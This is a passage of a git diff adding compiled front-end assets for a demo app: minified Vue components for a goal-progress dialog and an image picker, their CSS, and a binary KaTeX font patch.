goal-progress-modal"},R={class:"subagent-activity-header"},U={class:"subagent-activity-title"},j={class:"goal-progress-meta"},q=["title"],H={class:"goal-progress-metrics"},J={class:"goal-metric"},K={class:"goal-metric__value"},Q={class:"goal-metric"},W={class:"goal-metric__value"},X={class:"goal-metric"},Y={class:"goal-metric__value"},Z={class:"goal-metric"},ss={class:"goal-metric__value"},es={key:0,class:"goal-progress-reason"},ts={key:1,class:"goal-progress-summary"},os={class:"goal-progress-summary__title"},as={class:"goal-progress-summary__body"},rs=F({name:"GoalProgressDialog",__name:"GoalProgressDialog",props:{open:{type:Boolean},progress:{}},emits:["close"],setup(f){const o=f,b=a(()=>{var e;return((e=o.progress)==null?void 0:e.status)||"running"}),l=a(()=>b.value==="done"),i=a(()=>b.value==="stopped"),D=a(()=>l.value?"已完成":i.value?"已停止":"运行中"),$=a(()=>({"is-done":l.value,"is-stopped":i.value,"is-running":!l.value&&!i.value})),m=a(()=>{var e;return(((e=o.progress)==null?void 0:e.goal)||"").toString()}),C=a(()=>{var e;return Number(((e=o.progress)==null?void 0:e.turn_count)??0)}),N=a(()=>{var e;return Number(((e=o.progress)==null?void 0:e.tool_calls)??0)}),y=a(()=>{var e,s;return(((e=o.progress)==null?void 0:e.summary)||((s=o.progress)==null?void 0:s.final_summary)||"").toString()}),h=p(0),_=p(Date.now()),g=p(Date.now());let u=null;const B=()=>{var s;const e=Number(((s=o.progress)==null?void 0:s.duration_seconds)??0);h.value=Number.isFinite(e)&&e>0?e:0,_.value=Date.now(),g.value=_.value},M=()=>{u||!o.open||l.value||i.value||(u=window.setInterval(()=>{g.value=Date.now()},1e3))},k=()=>{u&&(window.clearInterval(u),u=null)};G(()=>{var e,s;return[(e=o.progress)==null?void 0:e.duration_seconds,(s=o.progress)==null?void 0:s.status,o.open]},()=>{B(),o.open&&!l.value&&!i.value?M():k()},{immediate:!0}),I(k);const x=a(()=>{var s;const e=Number(((s=o.progress)==null?void 0:s.tokens_used)??0);return Number.isFinite(e)?e>=1e3?`${(e/1e3).toFixed(1)}k`:`${e}`:"0"}),S=a(()=>{const e=!l.value&&!i.value?Math.max(0,(g.value-_.value)/1e3):0,s=h.value+e;if(!Number.isFinite(s)||s<=0)return"0s";if(s<60)return`${Math.round(s)}s`;const n=Math.floor(s/60),T=Math.round(s%60);return n<60?`${n}m${T}s`:`${Math.floor(n/60)}h${n%60}m`}),w=a(()=>{var n;const e={idle_no_tool:"主模型停止时未调用任何工具(可能卡住)",max_turns:"已达到最大轮数上限",max_tokens:"已达到累计 token 上限",user_cancel:"用户手动停止"},s=(((n=o.progress)==null?void 0:n.stopped_reason)||"").toString();return e[s]||s});return(e,s)=>(c(),P(V,{name:"overlay-fade"},{default:A(()=>[f.open?(c(),d("div",{key:0,class:"subagent-activity-overlay",onClick:s[1]||(s[1]=E(n=>e.$emit("close"),["self"]))},[t("div",O,[t("div",R,[t("div",U,r(l.value?"目标已完成":i.value?"目标模式停止":"目标模式进行中"),1),t("button",{type:"button",class:"subagent-activity-close",onClick:s[0]||(s[0]=n=>e.$emit("close"))},"×")]),t("div",j,[t("span",{class:L(["goal-progress-status",$.value])},r(D.value),3),m.value?(c(),d("span",{key:0,class:"goal-progress-goal",title:m.value},"目标:"+r(m.value),9,q)):v("",!0)]),t("div",H,[t("div",J,[t("div",K,r(C.value),1),s[2]||(s[2]=t("div",{class:"goal-metric__label"},"已运行轮数",-1))]),t("div",Q,[t("div",W,r(x.value),1),s[3]||(s[3]=t("div",{class:"goal-metric__label"},"消耗 token",-1))]),t("div",X,[t("div",Y,r(N.value),1),s[4]||(s[4]=t("div",{class:"goal-metric__label"},"工具调用",-1))]),t("div",Z,[t("div",ss,r(S.value),1),s[5]||(s[5]=t("div",{class:"goal-metric__label"},"用时",-1))])]),i.value&&w.value?(c(),d("div",es," 停止原因:"+r(w.value),1)):v("",!0),y.value?(c(),d("div",ts,[t("div",os,r(l.value?"完成总结":"最后进展"),1),t("div",as,r(y.value),1)])):v("",!0)])])):v("",!0)]),_:1}))}}),us=z(rs,[["__scopeId","data-v-31b00366"]]);export{us as default}; diff --git a/demo/static/dist/assets/ImagePicker.css b/demo/static/dist/assets/ImagePicker.css new file mode 100644 index 0000000..59494af --- /dev/null +++ b/demo/static/dist/assets/ImagePicker.css @@ -0,0 +1 @@ +.image-picker-backdrop[data-v-eb7976c1]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1200}.image-picker-panel[data-v-eb7976c1]{width:min(980px,92vw);max-height:88vh;background:var(--surface-panel);color:var(--text-primary);border:1px solid var(--border-default);border-radius:12px;display:flex;flex-direction:column;box-shadow:0 16px 40px var(--shadow-color)}.header[data-v-eb7976c1]{display:flex;align-items:center;justify-content:space-between;padding:14px 16px;border-bottom:1px solid var(--border-default)}.header-left[data-v-eb7976c1]{display:flex;align-items:center;gap:10px}.title[data-v-eb7976c1]{font-weight:600}.local-btn[data-v-eb7976c1]{border:1px solid var(--border-strong);padding:4px 10px;border-radius:8px;background:var(--surface-raised);color:var(--text-secondary);font-size:12px;cursor:pointer}.local-btn[data-v-eb7976c1]:disabled{opacity:.5;cursor:not-allowed}.close-btn[data-v-eb7976c1]{background:transparent;color:var(--text-tertiary);border:none;font-size:20px;cursor:pointer}.body[data-v-eb7976c1]{padding:12px 16px;overflow:auto;flex:1}.grid[data-v-eb7976c1]{display:grid;grid-template-columns:repeat(auto-fill,minmax(160px,1fr));gap:12px}.card[data-v-eb7976c1]{border:1px solid var(--border-default);border-radius:10px;background:var(--surface-card);cursor:pointer;overflow:hidden;display:flex;flex-direction:column}.card img[data-v-eb7976c1]{width:100%;height:120px;object-fit:cover;background:var(--surface-base)}.card .name[data-v-eb7976c1]{padding:8px 10px;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.card.selected[data-v-eb7976c1]{border-color:var(--state-info);box-shadow:0 0 0 2px color-mix(in srgb,var(--state-info) 20%,transparent)}.loading[data-v-eb7976c1],.empty[data-v-eb7976c1]{padding:40px 0;text-align:center;color:var(--text-tertiary)}.footer[data-v-eb7976c1]{display:flex;align-items:center;justify-content:space-between;padding:12px 16px;border-top:1px solid var(--border-default)}.actions[data-v-eb7976c1]{display:flex;gap:10px}.btn[data-v-eb7976c1]{border:1px solid var(--border-strong);padding:8px 14px;border-radius:8px;background:var(--surface-raised);color:var(--text-primary);cursor:pointer}.btn.primary[data-v-eb7976c1]{background:var(--state-info);border-color:var(--state-info);color:var(--text-primary)}.btn[data-v-eb7976c1]:disabled{opacity:.5;cursor:not-allowed}.count[data-v-eb7976c1]{font-size:13px;color:var(--text-tertiary)}@media (max-width: 640px){.grid[data-v-eb7976c1]{grid-template-columns:repeat(auto-fill,minmax(120px,1fr))}.card img[data-v-eb7976c1]{height:90px}} diff --git a/demo/static/dist/assets/ImagePicker.js b/demo/static/dist/assets/ImagePicker.js new file mode 100644 index 0000000..f043f2b --- /dev/null +++ b/demo/static/dist/assets/ImagePicker.js @@ -0,0 +1 @@ +import{d as C,k as _,w as S,o as B,b as o,e as I,s as x,c as n,A as z,g as e,t as p,F as A,r as D,n as F,f as L,T as P,l as T}from"./runtime-dom.esm-bundler.js";import{_ as U}from"./_plugin-vue_export-helper.js";const V={class:"image-picker-panel"},M={class:"header"},N={class:"header-left"},$=["disabled"],j={class:"body"},E={key:0,class:"loading"},R={key:1,class:"empty"},W={key:2,class:"grid"},q=["onClick","title"],G=["src","alt"],H={class:"name"},J={class:"footer"},K={class:"count"},O={class:"actions"},Q=["disabled"],X=C({__name:"ImagePicker",props:{open:{type:Boolean},entries:{},initialSelected:{},loading:{type:Boolean},uploading:{type:Boolean,default:!1}},emits:["close","confirm","local-files"],setup(i,{emit:h}){const c=i,d=h,l=_(new Set(c.initialSelected||[])),f=_(null);let m=0;S(()=>c.initialSelected,t=>{l.value=new Set(t||[])});const g=T(()=>c.entries||[]),v=t=>{if(!t)return;const s=new Set(l.value);if(s.has(t))s.delete(t);else{if(s.size>=9)return;s.add(t)}l.value=s},u=()=>{Date.now()d("confirm",Array.from(l.value)),b=()=>{var t;c.uploading||(m=Date.now()+1500,(t=f.value)==null||t.click())},y=t=>{const s=t.target,a=s==null?void 0:s.files,r=a&&a.length?Array.from(a):null;!r||r.length===0?(console.warn("[ImagePicker] change fired but files empty — likely WebView compat issue"),d("local-files",null)):d("local-files",r),setTimeout(()=>{s&&(s.value="")},200)},w=t=>`/api/gui/files/download?path=${encodeURIComponent(t)}`;return B(()=>{l.value=new Set(c.initialSelected||[])}),(t,s)=>(o(),I(P,{name:"overlay-fade"},{default:x(()=>[i.open?(o(),n("div",{key:0,class:"image-picker-backdrop",onClick:z(u,["self"])},[e("div",V,[e("div",M,[e("div",N,[s[0]||(s[0]=e("div",{class:"title"},"选择图片(最多9张)",-1)),e("button",{type:"button",class:"local-btn",disabled:i.uploading,onClick:b},p(i.uploading?"上传中...":"从本地发送"),9,$),e("input",{ref_key:"localInput",ref:f,type:"file",class:"file-input-hidden",accept:"image/png,image/jpeg,image/webp,image/gif,image/bmp",multiple:"",onChange:y},null,544)]),e("button",{class:"close-btn",onClick:u},"×")]),e("div",j,[i.loading?(o(),n("div",E,"加载中...")):g.value.length?(o(),n("div",W,[(o(!0),n(A,null,D(g.value,a=>(o(),n("div",{key:a.path,class:F(["card",{selected:l.value.has(a.path)}]),onClick:r=>v(a.path),title:a.path},[e("img",{src:w(a.path),alt:a.name},null,8,G),e("div",H,p(a.name),1)],10,q))),128))])):(o(),n("div",R,"未找到图片文件"))]),e("div",J,[e("div",K,"已选 "+p(l.value.size)+" / 9",1),e("div",O,[e("button",{type:"button",class:"btn secondary",onClick:u},"取消"),e("button",{type:"button",class:"btn primary",disabled:!l.value.size,onClick:k}," 确认 ",8,Q)])])])])):L("",!0)]),_:1}))}}),ee=U(X,[["__scopeId","data-v-eb7976c1"]]);export{ee as default}; diff --git a/demo/static/dist/assets/KaTeX_AMS-Regular.ttf b/demo/static/dist/assets/KaTeX_AMS-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..c6f9a5e7c03f9e64e9c7b4773a8e37ade8eaf406 GIT binary patch literal 63632 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 